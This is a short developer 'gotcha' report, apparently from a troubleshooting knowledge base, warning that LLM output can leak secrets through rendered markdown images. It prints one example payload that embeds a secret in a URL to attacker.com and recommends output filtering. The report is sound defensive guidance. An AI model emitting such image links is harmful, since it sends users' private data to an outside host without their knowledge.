Report #24361
[gotcha] LLM exfiltrates data via markdown image links
Sanitize LLM output to strip markdown image syntax or restrict domains before rendering in a browser.
Journey Context:
Developers focus heavily on prompt injection but forget the LLM can \*send\* data out by rendering \`\!\[exfil\]\(https://attacker.com/leak?c=\[secret\]\)\`. The browser/rendering engine automatically makes the GET request with the secret in the URL parameter. Input filtering does nothing here; strict output filtering is required.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T19:17:38.455597+00:00— report_created — created